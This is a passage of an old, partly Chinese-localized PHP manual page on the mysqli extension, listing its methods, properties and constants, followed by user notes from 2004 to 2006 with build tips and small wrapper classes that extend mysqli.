  • connect - opens a new connection to MySQL database server

  • debug - performs debugging operations

  • dump_debug_info - dumps debug information

  • get_client_info - returns client version

  • get_host_info - returns type of connection used

  • get_server_info - returns version of the MySQL server

  • get_server_version - returns version of the MySQL server

  • init - initializes mysqli object

  • info - retrieves information about the most recently executed query

  • kill - asks the server to kill a mysql thread

  • multi_query - performs multiple queries

  • more_results - check if more results exist from currently executed multi-query

  • next_result - reads next result from currently executed multi-query

  • options - set options

  • ping - pings a server connection or reconnects if there is no connection

  • prepare - prepares a SQL query

  • query - performs a query

  • real_connect - attempts to open a connection to MySQL database server

  • escape_string - escapes special characters in a string for use in a SQL statement, taking into account the current charset of the connection

  • rollback - rolls back the current transaction

  • select_db - selects the default database

  • set_charset - sets the default client character set

  • ssl_set - sets ssl parameters

  • stat - gets the current system status

  • stmt_init- initializes a statement for use with mysqli_stmt_prepare

  • store_result - transfers a resultset from last query

  • use_result - transfers an unbuffered resultset from last query

  • thread_safe - returns whether thread safety is given or not

属性

  • affected_rows - gets the number of affected rows in a previous MySQL operation

  • client_info - returns the MySQL client version as a string

  • client_version - returns the MySQL client version as an integer

  • errno - returns the error code for the most recent function call

  • error - returns the error string for the most recent function call

  • field_count - returns the number of columns for the most recent query

  • host_info - returns a string representing the type of connection used

  • info - retrieves information about the most recently executed query

  • insert_id - returns the auto generated id used in the last query

  • protocol_version - returns the version of the MySQL protocol used

  • sqlstate - returns a string containing the SQLSTATE error code for the last error

  • thread_id - returns the thread ID for the current connection

  • warning_count - returns the number of warnings generated during execution of the previous SQL statement

mysqli_stmt

Represents a prepared statement.

方法

  • bind_param - binds variables to a prepared statement

  • bind_result - binds variables to a prepared statement for result storage

  • close - closes a prepared statement

  • data_seek - seeks to an arbitrary row in a statement result set

  • execute - executes a prepared statement

  • fetch - fetches result from a prepared statement into bound variables

  • free_result - frees stored result memory for the given statement handle

  • result_metadata - retrieves a resultset from a prepared statement for metadata information

  • prepare - prepares a SQL query

  • send_long_data - sends data in chunks

  • reset - resets a prepared statement

  • store_result - buffers complete resultset from a prepared statement

属性

  • affected_rows - returns affected rows from last statement execution

  • errno - returns errorcode for last statement function

  • errno - returns errormessage for last statement function

  • param_count - returns number of parameter for a given prepare statement

  • sqlstate - returns a string containing the SQLSTATE error code for the last statement function

mysqli_result

Represents the result set obtained from a query against the database.

方法

  • close - closes resultset

  • data_seek - moves internal result pointer

  • fetch_field - gets column information from a resultset

  • fetch_fields - gets information for all columns from a resulset

  • fetch_field_direct - gets column information for specified column

  • fetch_array - fetches a result row as an associative array, a numeric array, or both.

  • fetch_assoc - fetches a result row as an associative array

  • fetch_object - fetches a result row as an object

  • fetch_row - gets a result row as an enumerated array

  • close - frees result memory

  • field_seek - set result pointer to a specified field offset

属性

  • current_field - returns offset of current fieldpointer

  • field_count - returns number of fields in resultset

  • lengths - returns an array of columnlengths

  • num_rows - returns number of rows in resultset

预定义常量

表格 2. MySQLi Constants

Name | Description
MYSQLI_READ_DEFAULT_GROUP (integer) | Read options from the named group from `my.cnf' or the file specified with MYSQLI_READ_DEFAULT_FILE
MYSQLI_READ_DEFAULT_FILE (integer) | Read options from the named option file instead of from my.cnf
MYSQLI_OPT_CONNECT_TIMEOUT (integer) | Connect timeout in seconds
MYSQLI_OPT_LOCAL_INFILE (integer) | Enables command LOAD LOCAL INFILE
MYSQLI_INIT_COMMAND (integer) | Command to execute when connecting to MySQL server. Will automatically be re-executed when reconnecting.
MYSQLI_CLIENT_SSL (integer) | Use SSL (encrypted protocol). This option should not be set by application programs; it is set internally in the MySQL client library
MYSQLI_CLIENT_COMPRESS (integer) | Use compression protocol
MYSQLI_CLIENT_INTERACTIVE (integer) | Allow interactive_timeout seconds (instead of wait_timeout seconds) of inactivity before closing the connection. The client's session wait_timeout variable will be set to the value of the session interactive_timeout variable.
MYSQLI_CLIENT_IGNORE_SPACE (integer) | Allow spaces after function names. Makes all functions names reserved words.
MYSQLI_CLIENT_NO_SCHEMA (integer) | Don't allow the db_name.tbl_name.col_name syntax.
MYSQLI_CLIENT_MULTI_QUERIES (integer) |
MYSQLI_STORE_RESULT (integer) | For using buffered resultsets
MYSQLI_USE_RESULT (integer) | For using unbuffered resultsets
MYSQLI_ASSOC (integer) | Columns are returned into the array having the fieldname as the array index.
MYSQLI_NUM (integer) | Columns are returned into the array having an enumerated index.
MYSQLI_BOTH (integer) | Columns are returned into the array having both a numerical index and the fieldname as the associative index.
MYSQLI_NOT_NULL_FLAG (integer) | Indicates that a field is defined as NOT NULL
MYSQLI_PRI_KEY_FLAG (integer) | Field is part of a primary index
MYSQLI_UNIQUE_KEY_FLAG (integer) | Field is part of an unique index.
MYSQLI_MULTIPLE_KEY_FLAG (integer) | Field is part of an index.
MYSQLI_BLOB_FLAG (integer) | Field is defined as BLOB
MYSQLI_UNSIGNED_FLAG (integer) | Field is defined as UNSIGNED
MYSQLI_ZEROFILL_FLAG (integer) | Field is defined as ZEROFILL
MYSQLI_AUTO_INCREMENT_FLAG (integer) | Field is defined as AUTO_INCREMENT
MYSQLI_TIMESTAMP_FLAG (integer) | Field is defined as TIMESTAMP
MYSQLI_SET_FLAG (integer) | Field is defined as SET
MYSQLI_NUM_FLAG (integer) | Field is defined as NUMERIC
MYSQLI_PART_KEY_FLAG (integer) | Field is part of an multi-index
MYSQLI_GROUP_FLAG (integer) | Field is part of GROUP BY
MYSQLI_TYPE_DECIMAL (integer) | Field is defined as DECIMAL
MYSQLI_TYPE_TINY (integer) | Field is defined as TINYINT
MYSQLI_TYPE_SHORT (integer) | Field is defined as INT
MYSQLI_TYPE_LONG (integer) | Field is defined as INT
MYSQLI_TYPE_FLOAT (integer) | Field is defined as FLOAT
MYSQLI_TYPE_DOUBLE (integer) | Field is defined as DOUBLE
MYSQLI_TYPE_NULL (integer) | Field is defined as DEFAULT NULL
MYSQLI_TYPE_TIMESTAMP (integer) | Field is defined as TIMESTAMP
MYSQLI_TYPE_LONGLONG (integer) | Field is defined as BIGINT
MYSQLI_TYPE_INT24 (integer) | Field is defined as MEDIUMINT
MYSQLI_TYPE_DATE (integer) | Field is defined as DATE
MYSQLI_TYPE_TIME (integer) | Field is defined as TIME
MYSQLI_TYPE_DATETIME (integer) | Field is defined as DATETIME
MYSQLI_TYPE_YEAR (integer) | Field is defined as YEAR
MYSQLI_TYPE_NEWDATE (integer) | Field is defined as DATE
MYSQLI_TYPE_ENUM (integer) | Field is defined as ENUM
MYSQLI_TYPE_SET (integer) | Field is defined as SET
MYSQLI_TYPE_TINY_BLOB (integer) | Field is defined as TINYBLOB
MYSQLI_TYPE_MEDIUM_BLOB (integer) | Field is defined as MEDIUMBLOB
MYSQLI_TYPE_LONG_BLOB (integer) | Field is defined as LONGBLOB
MYSQLI_TYPE_BLOB (integer) | Field is defined as BLOB
MYSQLI_TYPE_VAR_STRING (integer) | Field is defined as VARCHAR
MYSQLI_TYPE_STRING (integer) | Field is defined as CHAR
MYSQLI_TYPE_GEOMETRY (integer) | Field is defined as GEOMETRY
MYSQLI_NEED_DATA (integer) | More data available for bind variable
MYSQLI_NO_DATA (integer) | No more data available for bind variable
MYSQLI_DATA_TRUNCATED (integer) | Data truncation occurred. Available since PHP 5.1.0 and MySQL 5.0.5.

Examples

All Examples in the MySQLI documentation use the world database from MySQL AB. The world database can be found at http://dev.mysql.com/get/Downloads/Manual/world.sql.gz/from/pick

目录
mysqli_affected_rows -- Gets the number of affected rows in a previous MySQL operation
mysqli_autocommit -- Turns on or off auto-commiting database modifications
mysqli_bind_param -- Alias for mysqli_stmt_bind_param()
mysqli_bind_result -- Alias for mysqli_stmt_bind_result()
mysqli_change_user -- Changes the user of the specified database connection
mysqli_character_set_name -- Returns the default character set for the database connection
mysqli_client_encoding -- Alias of mysqli_character_set_name()
mysqli_close -- Closes a previously opened database connection
mysqli_commit -- Commits the current transaction
mysqli_connect_errno -- Returns the error code from last connect call
mysqli_connect_error -- Returns a string description of the last connect error
mysqli_connect -- Open a new connection to the MySQL server
mysqli_data_seek -- Adjusts the result pointer to an arbitary row in the result
mysqli_debug -- Performs debugging operations
mysqli_disable_reads_from_master -- Disable reads from master
mysqli_disable_rpl_parse -- Disable RPL parse
mysqli_dump_debug_info -- Dump debugging information into the log
mysqli_embedded_connect -- Open a connection to an embedded mysql server
mysqli_enable_reads_from_master -- Enable reads from master
mysqli_enable_rpl_parse -- Enable RPL parse
mysqli_errno -- Returns the error code for the most recent function call
mysqli_error -- Returns a string description of the last error
mysqli_escape_string -- Alias of mysqli_real_escape_string()
mysqli_execute -- Alias for mysqli_stmt_execute()
mysqli_fetch_array -- Fetch a result row as an associative, a numeric array, or both
mysqli_fetch_assoc -- Fetch a result row as an associative array
mysqli_fetch_field_direct -- Fetch meta-data for a single field
mysqli_fetch_field -- Returns the next field in the result set
mysqli_fetch_fields -- Returns an array of objects representing the fields in a result set
mysqli_fetch_lengths -- Returns the lengths of the columns of the current row in the result set
mysqli_fetch_object -- Returns the current row of a result set as an object
mysqli_fetch_row -- Get a result row as an enumerated array
mysqli_fetch -- Alias for mysqli_stmt_fetch()
mysqli_field_count -- Returns the number of columns for the most recent query
mysqli_field_seek -- Set result pointer to a specified field offset
mysqli_field_tell -- Get current field offset of a result pointer
mysqli_free_result -- Frees the memory associated with a result
mysqli_get_client_info -- Returns the MySQL client version as a string
mysqli_get_client_version -- Get MySQL client info
mysqli_get_host_info -- Returns a string representing the type of connection used
mysqli_get_metadata -- Alias for mysqli_stmt_result_metadata()
mysqli_get_proto_info -- Returns the version of the MySQL protocol used
mysqli_get_server_info -- Returns the version of the MySQL server
mysqli_get_server_version -- Returns the version of the MySQL server as an integer
mysqli_info -- Retrieves information about the most recently executed query
mysqli_init -- Initializes MySQLi and returns a resource for use with mysqli_real_connect()
mysqli_insert_id -- Returns the auto generated id used in the last query
mysqli_kill -- Asks the server to kill a MySQL thread
mysqli_master_query -- Enforce execution of a query on the master in a master/slave setup
mysqli_more_results -- Check if there any more query results from a multi query
mysqli_multi_query -- Performs a query on the database
mysqli_next_result -- Prepare next result from multi_query
mysqli_num_fields -- Get the number of fields in a result
mysqli_num_rows -- Gets the number of rows in a result
mysqli_options -- Set options
mysqli_param_count -- Alias for mysqli_stmt_param_count()
mysqli_ping -- Pings a server connection, or tries to reconnect if the connection has gone down
mysqli_prepare -- Prepare a SQL statement for execution
mysqli_query -- Performs a query on the database
mysqli_real_connect -- Opens a connection to a mysql server
mysqli_real_escape_string -- Escapes special characters in a string for use in a SQL statement, taking into account the current charset of the connection
mysqli_real_query -- Execute an SQL query
mysqli_report -- Enables or disables internal report functions
mysqli_rollback -- Rolls back current transaction
mysqli_rpl_parse_enabled -- Check if RPL parse is enabled
mysqli_rpl_probe -- RPL probe
mysqli_rpl_query_type -- Returns RPL query type
mysqli_select_db -- Selects the default database for database queries
mysqli_send_long_data -- Alias for mysqli_stmt_send_long_data()
mysqli_send_query -- Send the query and return
mysqli_server_end -- Shut down the embedded server
mysqli_server_init -- Initialize embedded server
mysqli_set_charset -- Sets the default client character set
mysqli_set_opt -- Alias of mysqli_options()
mysqli_sqlstate -- Returns the SQLSTATE error from previous MySQL operation
mysqli_ssl_set -- Used for establishing secure connections using SSL
mysqli_stat -- Gets the current system status
mysqli_stmt_affected_rows -- Returns the total number of rows changed, deleted, or inserted by the last executed statement
mysqli_stmt_bind_param -- Binds variables to a prepared statement as parameters
mysqli_stmt_bind_result -- Binds variables to a prepared statement for result storage
mysqli_stmt_close -- Closes a prepared statement
mysqli_stmt_data_seek -- Seeks to an arbitray row in statement result set
mysqli_stmt_errno -- Returns the error code for the most recent statement call
mysqli_stmt_error -- Returns a string description for last statement error
mysqli_stmt_execute -- Executes a prepared Query
mysqli_stmt_fetch -- Fetch results from a prepared statement into the bound variables
mysqli_stmt_free_result -- Frees stored result memory for the given statement handle
mysqli_stmt_init -- Initializes a statement and returns an object for use with mysqli_stmt_prepare
mysqli_stmt_num_rows -- Return the number of rows in statements result set
mysqli_stmt_param_count -- Returns the number of parameter for the given statement
mysqli_stmt_prepare -- Prepare a SQL statement for execution
mysqli_stmt_reset -- Resets a prepared statement
mysqli_stmt_result_metadata -- Returns result set metadata from a prepared statement
mysqli_stmt_send_long_data -- Send data in blocks
mysqli_stmt_sqlstate -- Returns SQLSTATE error from previous statement operation
mysqli_stmt_store_result -- Transfers a result set from a prepared statement
mysqli_store_result -- Transfers a result set from the last query
mysqli_thread_id -- Returns the thread ID for the current connection
mysqli_thread_safe -- Returns whether thread safety is given or not
mysqli_use_result -- Initiate a result set retrieval
mysqli_warning_count -- Returns the number of warnings from the last query for the given link

add a note add a note User Contributed Notes
Docey
09-Jun-2006 02:11
It should be noticed that mysqli does not support persistent
connections, so do not bother about implementing them
unless you got a million hits an hour on your website.

also about using both mysql and mysqli, i want to note
that under windows the best approach is to load either
mysql or mysqli at runtime not both.

i know that under php5 this is deprecated but it seems
to work fine. i used the same appoach under debian-linux
and seems to work aswell. just don't know for the
speed cost. maybe someone can benchmark this out.

just my 2 eurocents.
s dot s at terra dot com dot br
10-May-2006 04:47
Compile error using any MySQL version before 5.0.20.

I think its becose the mysqli interface provided by PHP does not support SSL connection.
kronicade@yahoo
10-Mar-2006 03:42
Same problem, no solution.  I'm running Solaris sparc with mysql 4.1.12.  I've tried every config command I can think of and have modified my PATH as follows:

setenv PATH /usr/ccs/bin:
/usr/local/bin:
/usr/local/ipw/bin:
/usr/local/ipw/contrib/bin:
/sbin:/usr/sbin:
/usr/bin:
/usr/bin/X11:
/usr/ucb:
/usr/openwin/bin

./configure '--prefix=/usr/local/php' '--localstatedir=/usr/local'  '--mandir=/usr/share/man' '--with-mysqli=/usr/local/mysql/bin/mysql_config' '--includedir=/usr/lib' '--enable-shared=max'  '--enable-module=most'  '--with-imap=/usr/local/imap'  '--with-imap-ssl=/usr/local/ssl'  '--with-apxs2=/usr/local/apache2/bin/apxs'  '--enable-fastcgi'  '--enable-mbstring=all'  '--with-zlib-dir=/usr'  '--with-openssl=/usr/local/ssl'

I think it's a compatibility issue with the version of mysql running 64-bit.

-Andrew
Michael <mstclaire at myprintflow dot com>
13-Jan-2006 11:10
I was running into some random issues using the myqli extension with MySQL 5 on Mac OS X.

I discovered that when I compiled php 5 with the --with-mysqli flag, it was building php with the pre-installed MySQL 4 client libraries.

Heres how it fixed it to build php with the correct MySQL client libraries.

----------------
I had installed the binary version of MySQL 5 from MySQL AB. It installs everything in the default location /usr/local/mysql, which is fine. The MySQL version that comes with OS X ( v.4.x, depends on your OS X version ) installs the mysql_config help utility at /usr/bin/mysql_config. When php configs, it uses that one by default, inheritently using the wrong MySQL client libs.

No problem I thought, I just changed the --with-mysqli flag to --with-mysqli=/usr/local/mysql/bin/mysql_config ( or sudo find / -name mysql_config to find yours ). Nope, php throws a build error because it can't find the matching libraries. Hmmm...

So i tested /usr/local/mysql/bin/mysql_config --version, and I am shown my most current MySQL install. The problem is that the binary editions for OS X DO NOT include the shared libs ( libmysqlclient.dylib ). Oh no, I did not want to compile MySQL myself, not because I don't know how, but because MySQL AB does not recommend it, and for good reasons. Trust me, I've found out the hard way.

So what do you do? Download the source version of MySQL 5 that matches my binary version.

Configure MySQL:

./configure --enable-shared ( it's listed as ON as default, but I want to be sure )

Build MySQL:

make ( requires Developer Tools, but you knew that )

DO NOT make install !!! I repeat, DO NOT make install unless you really wish to overwrite your binary verions, which is not a good idea. ( You can configure MySQL with the --without-server flag, but I want to be certain I don't mess up )

Ok, almost done. Go to the lib directory in your MySQL build location and go to the invisible directory, .libs . There you will find your shared libraries, namely libmysqlclient.15.0.0.dylib.

Copy this to your /usr/local/mysql/lib directory. Now do the following from the lib directory:

ln -s libmysqlclient.15.0.0.dylib libmysqlclient.15.dylib
ln -s libmysqlclient.15.0.0.dylib libmysqlclient.dylib
mkdir mysql
cd mysql
ln -s ../libmysqlclient.15.0.0.dylib libmysqlclient.15.0.0.dylib
ln -s ../libmysqlclient.15.0.0.dylib libmysqlclient.15.dylib
ln -s ../libmysqlclient.15.0.0.dylib libmysqlclient.dylib

Now you can build your php with the correct library. After you build, check your phpinfo(); to validate the client version under the mysqli section. When I restarted Apache, it originally couldn't find my libraries, thus the /usr/local/mysql/lib/mysql directory.

Hope this helped.
Brad Marsh
09-Nov-2005 11:54
Notes for FreeBSD 6.0-RELEASE

MySQL 5.0.15 (source), Apache 2.0.55 (port), PHP 5.0.15 (source) - I used sources for MySQL and PHP because I could not get it all to work together using only ports.

First MySQL:
==================================
cd /usr/local/src
tar zxvf /path/to/mysql-5.0.15.tar.gz

./configure --prefix=/usr/local/mysql --localstatedir=/usr/local/mysql/data --enable-assembler --with-mysqld-ldflags=-all-static CFLAGS="-O3" CXX=gcc CXXFLAGS="-O3 -felide-constructors -fno-exceptions -fno-rtti"

make
make install

Apache:
==================================
MAKE SURE YOUR PORTS ARE UP-TO-DATE - use cvsup

cd /usr/ports/www/apache2
make
make install
make clean

PHP:
==================================
cd /usr/local/src
tar zxvf /path/to/php-5.0.5.tar.gz

./configure --with-xml --with-zlib --with-mysql=/usr/local/mysql --with-mysqli=/usr/local/mysql/bin/mysql_config --with-apxs2=/usr/local/sbin/apxs

EXTRA STEP for mysql and mysqli extensions at the same time:
See this forum thread: http://www.kofler.cc/forum/forumthread.php?rootID=3571

In the PHP Makefile, I changed the line (note all the duplicates)

EXTRA_LIBS = -lcrypt -lcrypt -lmysqlclient -lz -lm -lxml2 -lz -liconv -lm -lxml2 -lz -liconv -lm -lmysqlclient -lz -lcrypt -lm -lxml2 -lz -liconv -lm -lcrypt -lxml2 -lz -liconv -lm -lcrypt

to

EXTRA_LIBS = -lcrypt -lmysqlclient -lz -lm -lxml2 -liconv

make
make install

Hope this helps somebody...
dgbaley27 at comcast dot net
29-Oct-2005 04:06
I wrote the following mysqli extension to make it a little easier to pull data for some peope.  It combines the query() and fetch_assoc() methods:

<?
class Sql extends mysqli {
   function __construct($host, $user, $password, $table) {
       parent::__construct($host, $user, $password, $table);
   }

     function data($SQL, $force=0) {
       static $holdQuery;
       static $result;

       if ($SQL != $holdQuery) {
           $result = $this->query($SQL);
           $holdQuery = $SQL;
       }

       return $result->fetch_assoc();
   }
}
?>

So to implement:
<?
$link = new Sql("host", "user", "password", "table");

$SQL = "SELECT * FROM anyTable";

while ($row = $link->data($SQL)) {
       // manipulate data
}
?>

This can be very much expanded upon but I'm a freak for minimal code and I'm sure there are pleanty of you out there like me.
Ezbakhe Yassin <yassin88 at gmail dot com>
01-Sep-2005 07:03
I made a simple class that extends mysqli. It has the following features:
- Use an XML file to store multiple connection parameters.
- Auto display DB error messages (you can easily disable this in a production server)
- Retrieve columns max lenght
- Retrieve column comments
- Retrieve ENUM|SET possible values as an array

You are free to extend/modify it, but please give me credit.

<?php

class mysqli2 extends mysqli
{
   private $dbHost, $dbUser, $dbPassword, $dbSchema;

   public function __construct($XMLFilePath, $connectionID)
   {
       $this->_getDBParameters($XMLFilePath, $connectionID);
       @parent::__construct($this->dbHost, $this->dbUser, $this->dbPassword, $this->dbSchema);

       if (mysqli_connect_errno())
       {
           die(sprintf("Can't connect to database. Error: %s", mysqli_connect_error()));
       }
   }

   public function __destruct()
   {
       if (!mysqli_connect_errno())
       {
           $this->close();
       }
   }

   private function _getDBParameters($XMLFilePath, $connectionID)
   {
       if (!(file_exists($XMLFilePath)))
       {
           return FALSE;
       }

       $connections = simplexml_load_file($XMLFilePath);

       foreach ($connections as $connection)
       {
           if ($connection['ID'] == $connectionID)
           {
               $this->dbHost    = $connection->dbHost;
               $this->dbUser    = $connection->dbUser;
               $this->dbPassword = $connection->dbPassword;
               $this->dbSchema  = $connection->dbSchema;
           }
       }
   }

   public function query($sql)
   {
       if (!($result = parent::query($sql)))
       {
           die(sprintf("Can't perform query on database. Error: %s", $this->error));
       }

       return $result;
   }

   public function get_columns_max_len($dbTable)
   {
       if (!($result = $this->query("DESCRIBE $dbTable")))
       {
           return FALSE;
       }

       while ($row = $result->fetch_array(MYSQLI_ASSOC))
       {
           if (ereg('^.+\((.+)\)', $row['Type'], $columnMaxLen))
           {
               $columnMaxLens[$row['Field']] = (int)$columnMaxLen[1];
           }
       }

       return $columnMaxLens;
   }

   public function get_columns_comments($dbTable)
   {
       if (!($result = $this->query("SHOW CREATE TABLE $dbTable")))
       {
           return FALSE;
       }

       $row = $result->fetch_row();
       $tableSQL = explode("\n", $row[1]);

       foreach ($tableSQL as $tableSQLLine)
       {
           if (ereg(".+ `(.+)` .+ COMMENT '(.+)'", $tableSQLLine, $columnCommentsBuffer))
           {
               $columnComments[$columnCommentsBuffer[1]] = $columnCommentsBuffer[2];
           }
       }

       return $columnComments;
   }

   public function get_enum_options($dbTable, $dbColumn)
   {
       if (!($result = $this->query("DESCRIBE $dbTable")))
       {
           return FALSE;
       }

       while ($row = $result->fetch_array(MYSQLI_ASSOC))
       {
           if ($row['Field'] == $dbColumn)
           {
               if (eregi('(enum|set)\((.+)\)', $row['Type'], $enumValues))
               {
                   $enumValues = explode(",", str_replace("'", NULL, $enumValues[2]));
               }
           }
       }

       return isset($enumValues) ? $enumValues : FALSE;
   }
}

?>

The XML file looks like:

<?xml version ='1.0' encoding ='UTF-8' ?>

<connections>
   <connection ID="1">
       <dbHost>*DATA*</dbHost>
       <dbUser>*DATA*</dbUser>
       <dbPassword>*DATA*</dbPassword>
       <dbSchema>*DATA*</dbSchema>
   </connection>
</connections>
arjen at mysql dot com
05-Aug-2005 04:26
John Coggeshall wrote a PHP5 ext/mysqli compatibility script for applications that still use the old ext/mysql functions. This prevents the hassle of trying to have both the mysql and mysqli extensions loaded in PHP5, which can be tricky.

The script is at:
http://www.coggeshall.org/oss/mysql2i/
john
18-Jun-2005 12:55
Some benchmarks of mysqli vs the traditional mysql ext:

http://www.johnjawed.com/benchmarks/
john
30-Apr-2005 03:16
MySQLi help/support on Google Groups:

http://groups-beta.google.com/group/MySQLi
hans at lintoo dot dk
23-Mar-2005 12:33
While writing a class that extends mysqli I ran across some rather strange bugs,
that however did resove itself, when I found out that they were caused by:
<?php
parent::__construct( ... ... ... $this->dbase_password);
?>

so I changed it to the following:
<?php
/**
 * Database class for handling database connections.
 *
 * @author Hans Duedal
 * @version 22 Marts 2005
 */

class DBase extends mysqli {
   protected $dbase_hostname;
   protected $dbase_username;
   protected $dbase_password;
   protected $dbase_name;

   /**
     *  Consctructor for objects of class DBase
     *
     * @param File $settings_ini_file
     */
   public function __construct(File $settings_ini_file) {
       $ini_array = parse_ini_file($settings_ini_file->requireFilePath());
       $this->dbase_hostname = $ini_array["dbase_hostname"];
       $this->dbase_username = $ini_array["dbase_username"];
       $this->dbase_password = $ini_array["dbase_password"];
       $this->dbase_name = $ini_array["dbase_name"];

       parent::__construct(
           $ini_array["dbase_hostname"],
           $ini_array["dbase_username"],
           $ini_array["dbase_password"],
           $ini_array["dbase_name"]);

       if (mysqli_connect_error()) {
           throw new Exception("Connect exception:\n".mysqli_connect_error());
       }
   }

   /**
     * Desctructor for objects of class DBase, closes the connection
     *
     */
   public function __destruct() {
       parent::__destruct();
       parent::close($this);
   }

   /**
     * Accessor method to return protected variable $dbase_name
     *
     * @return string
     */
   public function getName() {
       return $this->dbase_name;
   }

   /**
     * Raw MySQL query
     * throws exception
     *
     * @param string $query
     * @return mysqli_result
     */
   public function query($query) {
       $result = parent::query($query);
       if (mysqli_error($this))
throw new Exception("Query exception:\n".mysqli_error($this));
       return $result;
   }
}
?>

btw the File class is my own as well... couldn't find any File object in PHP5 ? :S
They are both avaible for download at:
 http://www.lintoo.dk/public/dbase_and_file_class.zip

Hans Duedal // hans@lintoo.dk
jedifreeman at comcast dot net
22-Mar-2005 05:49
It should be noted here that mysqli is a PHP 5 only extension.
Andrei Nazarenko
23-Feb-2005 03:21
If you are having trouble compiling PHP5 with MySQLi support on Linux and getting a message:
"configure: error: wrong mysql library version or lib not found"
and the config.log shows an error about -lnss_files being not found, here is the solution:

edit your mysql_config file and *REMOVE* all  "-lnss_files" AND "-lnss_dns" entries from it.
After that PHP should not complain anymore.
neil
11-Feb-2005 06:15
I have spent far too much time finding this answer:

Since PHP5 many many people are having installation problems.  I found many apps were broken when I upgraded to version 5.  I tried to install mysql and mysqli and had problems.

Here's the solution:

After doing:

 ./configure --with-mysql=/path/to/mysql_config --with-mysqli=/path/to/mysql_config

do this:

"
   if you want to use both the old mysql and the new mysqli interface, load the Makefile into your editor and search for the line beginning with EXTRA_LIBS; it includes -lmysqlclient twice; remove the second instance
"

then you can:

make
make install

......
Please note:  the mysql-dev must be installed or you won't have a mysql_config anywhere.  I installed the mysql-dev rpm

Further note:  the information about the Makefile's duplicate instances of "-libmysqlclient" came from Michael Kofler.  Thanks should be directed to him.  He gives more details at the following link:

http://www.kofler.cc/forum/forumthread.php?rootID=3571
K dot Londenberg at librics dot de
11-Feb-2005 01:35
Second part of the mysqli wrapper code since it didn't all get into one note

------ exception.php -------------

<?php

class FatalException extends Exception {};
class ErrorException extends Exception {};
class WarningException extends Exception {};

function exceptionErrorHandler($errno, $errstr, $errfile, $errline)  {
  switch ($errno) {
  case E_USER_ERROR:
   throw new FatalException($errstr, $errno);
   break;
  case E_USER_WARNING:
  case E_WARNING:
   throw new WarningException($errstr, $errno);
   break;
  case E_USER_NOTICE:
   //throw new WarningException($errstr, $errno);
   break;
  default:
     echo " - Unknown error - <b>$errstr</b>($errno) <br>";
   break;
  }
  //return true;
}

$old_error_handler = null;

function install_exception_errorhandler() {
   global $old_error_handler;
   $old_error_handler = set_error_handler(exceptionErrorHandler);
}

function uninstall_exception_errorhandler() {
   global $old_error_handler;
   set_error_handler($old_error_handler);
   $old_error_handler = null;
}

// returns formatted info-dump of an exception
function exception_dump(&$e) {
   $res = "";
   $res .= "<br><h2>".get_class($e)."</h2>\n";
   $res .= "<h3>{$e->getMessage()} ({$e->getCode()})</h3>\n\n";
   $res .= "file: {$e->getFile()}<br/>\n";
   $res .= "line: {$e->getLine()}<br/>\n";
   $res .= "<PRE>";
   $res .= $e->getTraceAsString();
   $res .= "</PRE><br>";
   return $res;
}

?>
-------------------------------------------

Example-Code:

------ example.php ------------------------
<?php
require_once('safe_mysqli.php');
try {
   $mysql = new safe_mysqli('locashost', 'user', 'pass', 'test');
   $stmt = $mysql->prepare("SELECT city, city_accented, population, latitude, longitude from world_cities where city like ? order by population desc limit 5");
   $stmt->bind_param('s', $a);
   $stmt->bind_result($city, $city_accented, $population, $latitude, $longitude);
   foreach ($anfangsbuchstaben as $a) {
       $stmt->execute();
       while ($stmt->fetch()) {
           echo "<b>$city_accented</b>: pop $population - Lat. $latitude Long. $longitude<br>";
       }
       $stmt->free_result();
   }
} catch (SQLException $e) {
   die("SQL Error : ".$e->getSQLError()." in <hr><PRE>".$e->getSQL()."</PRE><hr>");
} catch (DBException $e) {
   die("Database Error: ". $e->GetMessage());
} catch (Exception $e) {
   die(exception_dump($e));
}
?>
-----------------------------------------

Hope this helps ...
K dot Londenberg at librics dot de
11-Feb-2005 01:34
I wrote a wrapper class for mysqli which adds exception handling to the code. It's based on the second tutorial at zend.com

It partially relies on another small library which enables translation from php-warnings to exceptions, so I'm going to include this code as well.

-------safe_mysqli.php------------
<?php
//define('SQL_DEBUG', 1); // uncomment to always dump sql statement in Exception message (for debugging purposes only)
require_once('exceptions.php');
install_exception_errorhandler(); // Translates PHP Warnings and User-Errors into corresponding Exceptions

class DBException extends Exception {}; // Base class for Database Exceptions

class DBConnectException extends DBException {} // Thrown when a Database connection fails

// Thrown when problems with the execution or preparation of an SQL Query occurs.
class SQLException extends DBException {
     private $sql;
     private $sqlerrmsg;

     function __construct($msg, $code, $sql) {
           /* Pass all arguments passed to the constructor on to the parent's constructor */
           $this->sqlerrmsg = $msg;
           if (defined('SQL_DEBUG')) {
               $msg .= " in '$sql'";
           }
           parent::__construct($msg, $code);
           $this->sql = $sql;
       }

     function getSQL() {
           return $this->sql;
     }

     function getSQLError() {
           return $this->sqlerrmsg;
     }

}

// Helper function for constructor
function add_single_quotes($arg)
{
  return "'" . addcslashes($arg, "'\\") . "'";
}

// Written by Kai Londenberg K.Londenberg (at) librics (dot) de
// http://www.librics.de/ based on an example at zend.com

// mysqli wrapper class with exception support
class safe_mysqli extends mysqli {

         function __construct() {
             /* Pass all arguments passed to the constructor on to the parent's constructor */
             $args = func_get_args();
             try {
                 eval("parent::__construct(" . join(',', array_map('add_single_quotes', $args)) . ");");
             } catch (WarningException $we) {
                 if(mysqli_connect_error()){
                     throw new DBConnectException(mysqli_connect_error(), mysqli_connect_errno());
                   /* Throw an error if the connection fails */
                 }
             }

         }

         function query($query)  {
           $result = parent::query($query);
           if(mysqli_error($this)){
             throw new SQLException(mysqli_error($this), mysqli_errno($this), $query);
           }
           return $result;
         }

         function prepare($query)  {
           $result = parent::prepare($query);
           if(mysqli_error($this)){
             throw new SQLException(mysqli_error($this), mysqli_errno($this), $query);
           }
           return $result;
         }

}

?>
php at arwin dot net
03-Feb-2005 07:32
For those having trouble compiling with both --with-mysql AND --with-mysqli, I found a solution at this URL:

http://bugs.php.net/bug.php?id=29860&edit=1

rjanson at msn dot com writes:

OK, finally an answer!

I checked Makefile and found the following line:

EXTRA_LIBS = -lcrypt -lcrypt -lmysqlclient -lpng -lz -lz -lresolv -lm
-ldl -lnsl -lxml2 -
lz -lm -lxml2 -lz -lm -lmysqlclient -lcrypt -lnsl -lm -lz -lnss_files
-lnss_dns -lresolv -lnss_files
 -lnss_dns -lresolv -lxml2 -lz -lm -lcrypt -lxml2 -lz -lm -lcrypt

By removing one of the -lmysqlclient entries on this line I was able to
successfully make and make install with both mysql and mysqli. As
confirmed by phpInfo().

I'm not sure why the other libs have multiple entries and don't cause
make to crash.
roberto at spadim dot com dot br
07-Dec-2004 11:34
